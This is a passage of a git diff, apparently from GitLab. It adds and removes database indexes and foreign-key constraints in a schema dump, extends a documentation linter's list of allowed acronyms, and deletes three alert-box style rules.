CREATE INDEX index_security_findings_on_severity ON security_findings USING btree (severity);
+CREATE UNIQUE INDEX index_security_findings_on_uuid_and_scan_id ON security_findings USING btree (uuid, scan_id);
+
CREATE INDEX index_self_managed_prometheus_alert_events_on_environment_id ON self_managed_prometheus_alert_events USING btree (environment_id);
CREATE INDEX index_sent_notifications_on_noteable_type_noteable_id ON sent_notifications USING btree (noteable_id) WHERE ((noteable_type)::text = 'Issue'::text);
@@ -21949,6 +22578,8 @@ CREATE UNIQUE INDEX index_smartcard_identities_on_subject_and_issuer ON smartcar
CREATE INDEX index_smartcard_identities_on_user_id ON smartcard_identities USING btree (user_id);
+CREATE INDEX index_snippet_on_id_and_project_id ON snippets USING btree (id, project_id);
+
CREATE UNIQUE INDEX index_snippet_repositories_on_disk_path ON snippet_repositories USING btree (disk_path);
CREATE INDEX index_snippet_repositories_on_shard_id ON snippet_repositories USING btree (shard_id);
@@ -22109,12 +22740,16 @@ CREATE INDEX index_user_custom_attributes_on_key_and_value ON user_custom_attrib
CREATE UNIQUE INDEX index_user_custom_attributes_on_user_id_and_key ON user_custom_attributes USING btree (user_id, key);
+CREATE INDEX index_user_details_on_provisioned_by_group_id ON user_details USING btree (provisioned_by_group_id);
+
CREATE UNIQUE INDEX index_user_details_on_user_id ON user_details USING btree (user_id);
CREATE INDEX index_user_highest_roles_on_user_id_and_highest_access_level ON user_highest_roles USING btree (user_id, highest_access_level);
CREATE INDEX index_user_interacted_projects_on_user_id ON user_interacted_projects USING btree (user_id);
+CREATE INDEX index_user_permission_export_uploads_on_user_id_and_status ON user_permission_export_uploads USING btree (user_id, status);
+
CREATE INDEX index_user_preferences_on_gitpod_enabled ON user_preferences USING btree (gitpod_enabled);
CREATE UNIQUE INDEX index_user_preferences_on_user_id ON user_preferences USING btree (user_id);
@@ -22149,6 +22784,8 @@ CREATE INDEX index_users_on_name_trigram ON users USING gin (name gin_trgm_ops);
CREATE INDEX index_users_on_public_email ON users USING btree (public_email) WHERE ((public_email)::text <> ''::text);
+CREATE INDEX index_users_on_require_two_factor_authentication_from_group ON users USING btree (require_two_factor_authentication_from_group) WHERE (require_two_factor_authentication_from_group = true);
+
CREATE UNIQUE INDEX index_users_on_reset_password_token ON users USING btree (reset_password_token);
CREATE INDEX index_users_on_state ON users USING btree (state);
@@ -22193,7 +22830,7 @@ CREATE INDEX index_vulnerabilities_on_last_edited_by_id ON vulnerabilities USING
CREATE INDEX index_vulnerabilities_on_milestone_id ON vulnerabilities USING btree (milestone_id);
-CREATE INDEX index_vulnerabilities_on_project_id ON vulnerabilities USING btree (project_id);
+CREATE INDEX index_vulnerabilities_on_project_id_and_state_and_severity ON vulnerabilities USING btree (project_id, state, severity);
CREATE INDEX index_vulnerabilities_on_resolved_by_id ON vulnerabilities USING btree (resolved_by_id);
@@ -22213,6 +22850,10 @@ CREATE INDEX index_vulnerability_exports_on_group_id_not_null ON vulnerability_e
CREATE INDEX index_vulnerability_exports_on_project_id_not_null ON vulnerability_exports USING btree (project_id) WHERE (project_id IS NOT NULL);
+CREATE INDEX index_vulnerability_external_issue_links_on_author_id ON vulnerability_external_issue_links USING btree (author_id);
+
+CREATE INDEX index_vulnerability_external_issue_links_on_vulnerability_id ON vulnerability_external_issue_links USING btree (vulnerability_id);
+
CREATE INDEX index_vulnerability_feedback_on_author_id ON vulnerability_feedback USING btree (author_id);
CREATE INDEX index_vulnerability_feedback_on_comment_author_id ON vulnerability_feedback USING btree (comment_author_id);
@@ -22225,6 +22866,10 @@ CREATE INDEX index_vulnerability_feedback_on_merge_request_id ON vulnerability_f
CREATE INDEX index_vulnerability_feedback_on_pipeline_id ON vulnerability_feedback USING btree (pipeline_id);
+CREATE INDEX index_vulnerability_findings_remediations_on_remediation_id ON vulnerability_findings_remediations USING btree (vulnerability_remediation_id);
+
+CREATE UNIQUE INDEX index_vulnerability_findings_remediations_on_unique_keys ON vulnerability_findings_remediations USING btree (vulnerability_occurrence_id, vulnerability_remediation_id);
+
CREATE INDEX index_vulnerability_historical_statistics_on_date_and_id ON vulnerability_historical_statistics USING btree (date, id);
CREATE UNIQUE INDEX index_vulnerability_identifiers_on_project_id_and_fingerprint ON vulnerability_identifiers USING btree (project_id, fingerprint);
@@ -22251,6 +22896,8 @@ CREATE UNIQUE INDEX index_vulnerability_occurrences_on_uuid ON vulnerability_occ
CREATE INDEX index_vulnerability_occurrences_on_vulnerability_id ON vulnerability_occurrences USING btree (vulnerability_id);
+CREATE UNIQUE INDEX index_vulnerability_remediations_on_project_id_and_checksum ON vulnerability_remediations USING btree (project_id, checksum);
+
CREATE UNIQUE INDEX index_vulnerability_scanners_on_project_id_and_external_id ON vulnerability_scanners USING btree (project_id, external_id);
CREATE INDEX index_vulnerability_statistics_on_letter_grade ON vulnerability_statistics USING btree (letter_grade);
@@ -22271,6 +22918,8 @@ CREATE INDEX index_web_hooks_on_group_id ON web_hooks USING btree (group_id) WHE
CREATE INDEX index_web_hooks_on_project_id ON web_hooks USING btree (project_id);
+CREATE INDEX index_web_hooks_on_service_id ON web_hooks USING btree (service_id);
+
CREATE INDEX index_web_hooks_on_type ON web_hooks USING btree (type);
CREATE UNIQUE INDEX index_webauthn_registrations_on_credential_xid ON webauthn_registrations USING btree (credential_xid);
@@ -22329,9 +22978,11 @@ CREATE UNIQUE INDEX one_canonical_wiki_page_slug_per_metadata ON wiki_page_slugs
CREATE INDEX package_name_index ON packages_packages USING btree (name);
-CREATE INDEX packages_packages_verification_checksum_partial ON packages_package_files USING btree (verification_checksum) WHERE (verification_checksum IS NOT NULL);
+CREATE INDEX packages_packages_failed_verification ON packages_package_files USING btree (verification_retry_at NULLS FIRST) WHERE (verification_state = 3);
+
+CREATE INDEX packages_packages_needs_verification ON packages_package_files USING btree (verification_state) WHERE ((verification_state = 0) OR (verification_state = 3));
-CREATE INDEX packages_packages_verification_failure_partial ON packages_package_files USING btree (verification_failure) WHERE (verification_failure IS NOT NULL);
+CREATE INDEX packages_packages_pending_verification ON packages_package_files USING btree (verified_at NULLS FIRST) WHERE (verification_state = 0);
CREATE INDEX partial_index_ci_builds_on_scheduled_at_with_scheduled_jobs ON ci_builds USING btree (scheduled_at) WHERE ((scheduled_at IS NOT NULL) AND ((type)::text = 'Ci::Build'::text) AND ((status)::text = 'scheduled'::text));
@@ -22339,10 +22990,6 @@ CREATE INDEX partial_index_deployments_for_legacy_successful_deployments ON depl
CREATE INDEX partial_index_deployments_for_project_id_and_tag ON deployments USING btree (project_id) WHERE (tag IS TRUE);
-CREATE INDEX snippet_repositories_verification_checksum_partial ON snippet_repositories USING btree (verification_checksum) WHERE (verification_checksum IS NOT NULL);
-
-CREATE INDEX snippet_repositories_verification_failure_partial ON snippet_repositories USING btree (verification_failure) WHERE (verification_failure IS NOT NULL);
-
CREATE UNIQUE INDEX snippet_user_mentions_on_snippet_id_and_note_id_index ON snippet_user_mentions USING btree (snippet_id, note_id);
CREATE UNIQUE INDEX snippet_user_mentions_on_snippet_id_index ON snippet_user_mentions USING btree (snippet_id) WHERE (note_id IS NULL);
@@ -22353,20 +23000,12 @@ CREATE INDEX temporary_index_vulnerabilities_on_id ON vulnerabilities USING btre
CREATE UNIQUE INDEX term_agreements_unique_index ON term_agreements USING btree (user_id, term_id);
-CREATE INDEX terraform_state_versions_verification_checksum_partial ON terraform_state_versions USING btree (verification_checksum) WHERE (verification_checksum IS NOT NULL);
-
-CREATE INDEX terraform_state_versions_verification_failure_partial ON terraform_state_versions USING btree (verification_failure) WHERE (verification_failure IS NOT NULL);
-
CREATE INDEX tmp_build_stage_position_index ON ci_builds USING btree (stage_id, stage_idx) WHERE (stage_idx IS NOT NULL);
-CREATE INDEX tmp_idx_blocked_by_type_links ON issue_links USING btree (target_id) WHERE (link_type = 2);
-
-CREATE INDEX tmp_idx_blocking_type_links ON issue_links USING btree (source_id) WHERE (link_type = 1);
-
-CREATE INDEX tmp_idx_index_issues_with_outdate_blocking_count ON issues USING btree (id) WHERE ((state_id = 1) AND (blocking_issues_count = 0));
-
CREATE INDEX tmp_index_for_email_unconfirmation_migration ON emails USING btree (id) WHERE (confirmed_at IS NOT NULL);
+CREATE INDEX tmp_index_on_vulnerabilities_non_dismissed ON vulnerabilities USING btree (id) WHERE (state <> 2);
+
CREATE UNIQUE INDEX unique_merge_request_metrics_by_merge_request_id ON merge_request_metrics USING btree (merge_request_id);
CREATE UNIQUE INDEX vulnerability_feedback_unique_idx ON vulnerability_feedback USING btree (project_id, category, feedback_type, project_fingerprint);
@@ -22700,6 +23339,9 @@ ALTER TABLE ONLY project_features
ALTER TABLE ONLY ci_pipelines
ADD CONSTRAINT fk_190998ef09 FOREIGN KEY (external_pull_request_id) REFERENCES external_pull_requests(id) ON DELETE SET NULL;
+ALTER TABLE ONLY user_details
+ ADD CONSTRAINT fk_190e4fcc88 FOREIGN KEY (provisioned_by_group_id) REFERENCES namespaces(id) ON DELETE SET NULL;
+
ALTER TABLE ONLY vulnerabilities
ADD CONSTRAINT fk_1d37cddf91 FOREIGN KEY (epic_id) REFERENCES epics(id) ON DELETE SET NULL;
@@ -22754,6 +23396,9 @@ ALTER TABLE ONLY notes
ALTER TABLE ONLY members
ADD CONSTRAINT fk_2e88fb7ce9 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY lists
+ ADD CONSTRAINT fk_30f2a831f4 FOREIGN KEY (iteration_id) REFERENCES sprints(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY approvals
ADD CONSTRAINT fk_310d714958 FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
@@ -22940,9 +23585,6 @@ ALTER TABLE ONLY merge_request_diffs
ALTER TABLE ONLY ci_pipelines
ADD CONSTRAINT fk_86635dbd80 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY services
- ADD CONSTRAINT fk_868a8e7ad6 FOREIGN KEY (inherit_from_id) REFERENCES services(id) ON DELETE SET NULL;
-
ALTER TABLE ONLY geo_event_log
ADD CONSTRAINT fk_86c84214ec FOREIGN KEY (repository_renamed_event_id) REFERENCES geo_repository_renamed_events(id) ON DELETE CASCADE;
@@ -22952,6 +23594,9 @@ ALTER TABLE ONLY packages_package_files
ALTER TABLE ONLY ci_builds
ADD CONSTRAINT fk_87f4cefcda FOREIGN KEY (upstream_pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
+ALTER TABLE ONLY experiment_subjects
+ ADD CONSTRAINT fk_88489af1b1 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY vulnerabilities
ADD CONSTRAINT fk_88b4d546ef FOREIGN KEY (start_date_sourcing_milestone_id) REFERENCES milestones(id) ON DELETE SET NULL;
@@ -23138,6 +23783,9 @@ ALTER TABLE ONLY issues
ALTER TABLE ONLY issue_links
ADD CONSTRAINT fk_c900194ff2 FOREIGN KEY (source_id) REFERENCES issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY experiment_subjects
+ ADD CONSTRAINT fk_ccc28f8ceb FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY todos
ADD CONSTRAINT fk_ccf0373936 FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE CASCADE;
@@ -23156,6 +23804,9 @@ ALTER TABLE ONLY environments
ALTER TABLE ONLY ci_builds
ADD CONSTRAINT fk_d3130c9a7f FOREIGN KEY (commit_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
+ALTER TABLE ONLY web_hooks
+ ADD CONSTRAINT fk_d47999a98a FOREIGN KEY (service_id) REFERENCES services(id) ON DELETE CASCADE NOT VALID;
+
ALTER TABLE ONLY ci_sources_pipelines
ADD CONSTRAINT fk_d4e29af7d7 FOREIGN KEY (source_pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
@@ -23195,6 +23846,9 @@ ALTER TABLE ONLY analytics_devops_adoption_segment_selections
ALTER TABLE ONLY issues
ADD CONSTRAINT fk_df75a7c8b8 FOREIGN KEY (promoted_to_epic_id) REFERENCES epics(id) ON DELETE SET NULL;
+ALTER TABLE ONLY experiment_subjects
+ ADD CONSTRAINT fk_dfc3e211d4 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY ci_resources
ADD CONSTRAINT fk_e169a8e3d5 FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE SET NULL;
@@ -23252,6 +23906,9 @@ ALTER TABLE ONLY emails
ALTER TABLE ONLY clusters
ADD CONSTRAINT fk_f05c5e5a42 FOREIGN KEY (management_project_id) REFERENCES projects(id) ON DELETE SET NULL;
+ALTER TABLE ONLY vulnerability_external_issue_links
+ ADD CONSTRAINT fk_f07bb8233d FOREIGN KEY (vulnerability_id) REFERENCES vulnerabilities(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY epics
ADD CONSTRAINT fk_f081aa4489 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
@@ -23276,6 +23933,9 @@ ALTER TABLE ONLY ci_stages
ALTER TABLE ONLY system_note_metadata
ADD CONSTRAINT fk_fbd87415c9 FOREIGN KEY (description_version_id) REFERENCES description_versions(id) ON DELETE SET NULL;
+ALTER TABLE ONLY vulnerability_remediations
+ ADD CONSTRAINT fk_fc61a535a0 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY merge_requests
ADD CONSTRAINT fk_fd82eae0b9 FOREIGN KEY (head_pipeline_id) REFERENCES ci_pipelines(id) ON DELETE SET NULL;
@@ -23318,6 +23978,9 @@ ALTER TABLE ONLY namespace_statistics
ALTER TABLE ONLY clusters_applications_elastic_stacks
ADD CONSTRAINT fk_rails_026f219f46 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
+ALTER TABLE ONLY incident_management_oncall_participants
+ ADD CONSTRAINT fk_rails_032b12996a FOREIGN KEY (oncall_rotation_id) REFERENCES incident_management_oncall_rotations(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY events
ADD CONSTRAINT fk_rails_0434b48643 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -23432,6 +24095,9 @@ ALTER TABLE ONLY cluster_providers_aws
ALTER TABLE ONLY grafana_integrations
ADD CONSTRAINT fk_rails_18d0e2b564 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY bulk_import_failures
+ ADD CONSTRAINT fk_rails_1964240b8c FOREIGN KEY (bulk_import_entity_id) REFERENCES bulk_import_entities(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY group_wiki_repositories
ADD CONSTRAINT fk_rails_19755e374b FOREIGN KEY (shard_id) REFERENCES shards(id) ON DELETE RESTRICT;
@@ -23441,6 +24107,9 @@ ALTER TABLE ONLY open_project_tracker_data
ALTER TABLE ONLY gpg_signatures
ADD CONSTRAINT fk_rails_19d4f1c6f9 FOREIGN KEY (gpg_key_subkey_id) REFERENCES gpg_key_subkeys(id) ON DELETE SET NULL;
+ALTER TABLE ONLY incident_management_oncall_schedules
+ ADD CONSTRAINT fk_rails_19e83fdd65 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY vulnerability_user_mentions
ADD CONSTRAINT fk_rails_1a41c485cd FOREIGN KEY (vulnerability_id) REFERENCES vulnerabilities(id) ON DELETE CASCADE;
@@ -23459,6 +24128,9 @@ ALTER TABLE ONLY approver_groups
ALTER TABLE ONLY packages_tags
ADD CONSTRAINT fk_rails_1dfc868911 FOREIGN KEY (package_id) REFERENCES packages_packages(id) ON DELETE CASCADE;
+ALTER TABLE ONLY boards_epic_board_positions
+ ADD CONSTRAINT fk_rails_1ecfd9f2de FOREIGN KEY (epic_id) REFERENCES epics(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY geo_repository_created_events
ADD CONSTRAINT fk_rails_1f49e46a61 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -23486,6 +24158,12 @@ ALTER TABLE ONLY saml_group_links
ALTER TABLE ONLY group_custom_attributes
ADD CONSTRAINT fk_rails_246e0db83a FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY incident_management_oncall_rotations
+ ADD CONSTRAINT fk_rails_256e0bc604 FOREIGN KEY (oncall_schedule_id) REFERENCES incident_management_oncall_schedules(id) ON DELETE CASCADE;
+
+ALTER TABLE ONLY analytics_devops_adoption_snapshots
+ ADD CONSTRAINT fk_rails_25da9a92c0 FOREIGN KEY (segment_id) REFERENCES analytics_devops_adoption_segments(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY cluster_agents
ADD CONSTRAINT fk_rails_25e9fc2d5d FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -23504,6 +24182,9 @@ ALTER TABLE ONLY project_alerting_settings
ALTER TABLE ONLY dast_site_validations
ADD CONSTRAINT fk_rails_285c617324 FOREIGN KEY (dast_site_token_id) REFERENCES dast_site_tokens(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_findings_remediations
+ ADD CONSTRAINT fk_rails_28a8d0cf93 FOREIGN KEY (vulnerability_occurrence_id) REFERENCES vulnerability_occurrences(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY resource_state_events
ADD CONSTRAINT fk_rails_29af06892a FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
@@ -23519,6 +24200,9 @@ ALTER TABLE ONLY group_group_links
ALTER TABLE ONLY geo_repository_updated_events
ADD CONSTRAINT fk_rails_2b70854c08 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY boards_epic_board_labels
+ ADD CONSTRAINT fk_rails_2bedeb8799 FOREIGN KEY (label_id) REFERENCES labels(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY protected_branch_unprotect_access_levels
ADD CONSTRAINT fk_rails_2d2aba21ef FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
@@ -23654,6 +24338,9 @@ ALTER TABLE ONLY merge_request_assignees
ALTER TABLE ONLY packages_dependency_links
ADD CONSTRAINT fk_rails_4437bf4070 FOREIGN KEY (dependency_id) REFERENCES packages_dependencies(id) ON DELETE CASCADE;
+ALTER TABLE ONLY namespace_onboarding_actions
+ ADD CONSTRAINT fk_rails_4504f6875a FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY project_auto_devops
ADD CONSTRAINT fk_rails_45436b12b2 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -23744,6 +24431,9 @@ ALTER TABLE ONLY clusters_applications_knative
ALTER TABLE ONLY terraform_states
ADD CONSTRAINT fk_rails_558901b030 FOREIGN KEY (locked_by_user_id) REFERENCES users(id);
+ALTER TABLE ONLY issuable_metric_images
+ ADD CONSTRAINT fk_rails_56417a5a7f FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY group_deploy_keys
ADD CONSTRAINT fk_rails_5682fc07f8 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE RESTRICT;
@@ -23801,6 +24491,9 @@ ALTER TABLE ONLY resource_weight_events
ALTER TABLE ONLY approval_project_rules
ADD CONSTRAINT fk_rails_5fb4dd100b FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY incident_management_oncall_participants
+ ADD CONSTRAINT fk_rails_5fe86ea341 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY user_highest_roles
ADD CONSTRAINT fk_rails_60f6c325a6 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
@@ -23864,6 +24557,9 @@ ALTER TABLE ONLY web_hook_logs
ALTER TABLE ONLY jira_imports
ADD CONSTRAINT fk_rails_675d38c03b FOREIGN KEY (label_id) REFERENCES labels(id) ON DELETE SET NULL;
+ALTER TABLE ONLY vulnerability_findings_remediations
+ ADD CONSTRAINT fk_rails_681c85ae0f FOREIGN KEY (vulnerability_remediation_id) REFERENCES vulnerability_remediations(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY resource_iteration_events
ADD CONSTRAINT fk_rails_6830c13ac1 FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
@@ -23915,6 +24611,9 @@ ALTER TABLE ONLY slack_integrations
ALTER TABLE ONLY custom_emoji
ADD CONSTRAINT fk_rails_745925b412 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY boards_epic_board_labels
+ ADD CONSTRAINT fk_rails_7471128a8e FOREIGN KEY (epic_board_id) REFERENCES boards_epic_boards(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY dast_site_profiles
ADD CONSTRAINT fk_rails_747dc64abc FOREIGN KEY (dast_site_id) REFERENCES dast_sites(id) ON DELETE CASCADE;
@@ -23999,6 +24698,9 @@ ALTER TABLE ONLY clusters_applications_crossplane
ALTER TABLE ONLY packages_package_file_build_infos
ADD CONSTRAINT fk_rails_871ca3ae21 FOREIGN KEY (package_file_id) REFERENCES packages_package_files(id) ON DELETE CASCADE;
+ALTER TABLE ONLY boards_epic_boards
+ ADD CONSTRAINT fk_rails_874c573878 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY ci_runner_namespaces
ADD CONSTRAINT fk_rails_8767676b7a FOREIGN KEY (runner_id) REFERENCES ci_runners(id) ON DELETE CASCADE;
@@ -24167,9 +24869,15 @@ ALTER TABLE ONLY user_preferences
ALTER TABLE ONLY sentry_issues
ADD CONSTRAINT fk_rails_a6a9612965 FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY user_permission_export_uploads
+ ADD CONSTRAINT fk_rails_a7130085e3 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY repository_languages
ADD CONSTRAINT fk_rails_a750ec87a8 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY dependency_proxy_manifests
+ ADD CONSTRAINT fk_rails_a758021fb0 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY resource_milestone_events
ADD CONSTRAINT fk_rails_a788026e85 FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
@@ -24356,6 +25064,9 @@ ALTER TABLE ONLY gpg_signatures
ALTER TABLE ONLY board_group_recent_visits
ADD CONSTRAINT fk_rails_ca04c38720 FOREIGN KEY (board_id) REFERENCES boards(id) ON DELETE CASCADE;
+ALTER TABLE ONLY boards_epic_board_positions
+ ADD CONSTRAINT fk_rails_cb4563dd6e FOREIGN KEY (epic_board_id) REFERENCES boards_epic_boards(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY vulnerability_finding_links
ADD CONSTRAINT fk_rails_cbdfde27ce FOREIGN KEY (vulnerability_occurrence_id) REFERENCES vulnerability_occurrences(id) ON DELETE CASCADE;
@@ -24452,6 +25163,9 @@ ALTER TABLE ONLY vulnerability_occurrence_identifiers
ALTER TABLE ONLY serverless_domain_cluster
ADD CONSTRAINT fk_rails_e59e868733 FOREIGN KEY (clusters_applications_knative_id) REFERENCES clusters_applications_knative(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_external_issue_links
+ ADD CONSTRAINT fk_rails_e5ba7f7b13 FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE SET NULL;
+
ALTER TABLE ONLY approval_merge_request_rule_sources
ADD CONSTRAINT fk_rails_e605a04f76 FOREIGN KEY (approval_merge_request_rule_id) REFERENCES approval_merge_request_rules(id) ON DELETE CASCADE;
@@ -24497,6 +25211,9 @@ ALTER TABLE ONLY snippet_statistics
ALTER TABLE ONLY project_security_settings
ADD CONSTRAINT fk_rails_ed4abe1338 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY experiment_subjects
+ ADD CONSTRAINT fk_rails_ede5754774 FOREIGN KEY (experiment_id) REFERENCES experiments(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY ci_daily_build_group_report_results
ADD CONSTRAINT fk_rails_ee072d13b3 FOREIGN KEY (last_pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
@@ -24590,6 +25307,9 @@ ALTER TABLE ONLY resource_label_events
ALTER TABLE ONLY ci_builds_metadata
ADD CONSTRAINT fk_rails_ffcf702a02 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY services
+ ADD CONSTRAINT fk_services_inherit_from_id FOREIGN KEY (inherit_from_id) REFERENCES services(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY timelogs
ADD CONSTRAINT fk_timelogs_issues_issue_id FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
diff --git a/doc/.vale/gitlab/Acronyms.yml b/doc/.vale/gitlab/Acronyms.yml
index 494b1e42d2f..2c28da972da 100644
--- a/doc/.vale/gitlab/Acronyms.yml
+++ b/doc/.vale/gitlab/Acronyms.yml
@@ -14,6 +14,7 @@ first: '\b([A-Z]{3,5})\b'
second: '(?:\b[A-Z][a-z]+ )+\(([A-Z]{3,5})\)'
# ... with the exception of these:
exceptions:
+ - AJAX
- ANSI
- API
- ARM
@@ -21,28 +22,43 @@ exceptions:
- ASCII
- AWS
- BSD
+ - CAS
- CLI
+ - CNA
- CNAME
- CORE
- CPU
+ - CRIME
+ - CSRF
- CSS
- CSV
+ - CVE
- DAG
- DAST
- DHCP
- DNS
+ - DOM
+ - DSA
- DVCS
+ - ECDSA
- EKS
- EOL
+ - EXIF
- FAQ
- FOSS
+ - FQDN
- GCP
- GDK
+ - GDPR
- GET
+ - GIF
- GKE
- GNU
- GPG
- GPL
+ - GUI
+ - HAML
+ - HIPAA
- HTML
- HTTP
- HTTPS
@@ -52,9 +68,13 @@ exceptions:
- IDE
- IID
- IMAP
+ - IOPS
- IRC
- ISO
+ - JPEG
+ - JPG
- JSON
+ - JWT
- LAN
- LDAP
- LDAPS
@@ -71,16 +91,25 @@ exceptions:
- NOTE
- NPM
- ONLY
+ - OWASP
+ - PAT
+ - PCI-DSS
- PDF
+ - PEM
+ - PEP
- PGP
- PHP
+ - PNG
- POST
- PUT
- RAM
+ - RDP
- REST
+ - RFC
- RHEL
- RPC
- RPM
+ - RPS
- RSA
- RSS
- RVM
@@ -90,11 +119,17 @@ exceptions:
- SCP
- SCSS
- SDK
+ - SEO
- SHA
- SLA
+ - SMS
- SMTP
+ - SOC
+ - SOX
+ - SPF
- SQL
- SSD
+ - SSG
- SSH
- SSL
- SSO
@@ -111,9 +146,12 @@ exceptions:
- URL
- USB
- UTC
+ - UTF
- UUID
+ - VCS
- VPC
- WIP
- WSL
- XML
+ - XSS
- YAML
diff --git a/doc/.vale/gitlab/AlertBoxCaution.yml b/doc/.vale/gitlab/AlertBoxCaution.yml
deleted file mode 100644
index 49d4dc62ab5..00000000000
--- a/doc/.vale/gitlab/AlertBoxCaution.yml
+++ /dev/null
@@ -1,14 +0,0 @@
----
-# Error: gitlab.AlertBoxCaution
-#
-# Makes sure CAUTION: alert boxes follow standard formatting.
-#
-# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
-extends: substitution
-message: "CAUTION: alert boxes must be of the format 'CAUTION: **Caution:**'. 'Caution' can be replaced with 'Warning' or 'Important'."
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#alert-boxes
-level: warning
-nonword: true
-scope: raw
-swap:
- 'CAUTION: *?\*\*.*\*\*': 'CAUTION: \*\*(?:Caution|Warning|Important):\*\*'
diff --git a/doc/.vale/gitlab/AlertBoxDanger.yml b/doc/.vale/gitlab/AlertBoxDanger.yml
deleted file mode 100644
index 2589d34614c..00000000000
--- a/doc/.vale/gitlab/AlertBoxDanger.yml
+++ /dev/null
@@ -1,14 +0,0 @@
----
-# Error: gitlab.AlertBoxDanger
-#
-# Makes sure DANGER: alert boxes follow standard formatting.
-#
-# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
-extends: substitution
-message: "DANGER: alert boxes must be of the format 'DANGER: **Warning:**'. 'Warning' can be replaced with 'Important', 'Deprecated', or 'Required'."
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#alert-boxes
-level: error
-nonword: true
-scope: raw
-swap:
- 'DANGER: *?\*\*.*\*\*': 'DANGER: \*\*(?:Warning|Important|Deprecated|Required):\*\*'
diff --git a/doc/.vale/gitlab/AlertBoxNoteTip.yml b/doc/.vale/gitlab/AlertBoxNoteTip.yml
deleted file mode 100644
index 0b480794476..00000000000
--- a/doc/.vale/gitlab/AlertBoxNoteTip.yml
+++ /dev/null
@@ -1,15 +0,0 @@
----
-# Error: gitlab.AlertBoxNoteTip
-#
-# Makes sure NOTE: and TIP: alert boxes follow standard formatting.
-#
-# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
-extends: substitution
-message: "NOTE: and TIP: alert boxes must be of the format 'NOTE: **Note:**' or 'TIP: **Tip:**"
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#alert-boxes
-level: warning
-nonword: true
-scope: raw
-swap:
- 'NOTE: *?\*\*.*\*\*': 'NOTE: \*\*Note:\*\*'
- 'TIP: *?\*\*.*\*\*': 'TIP: \*\*Tip:\*\*'
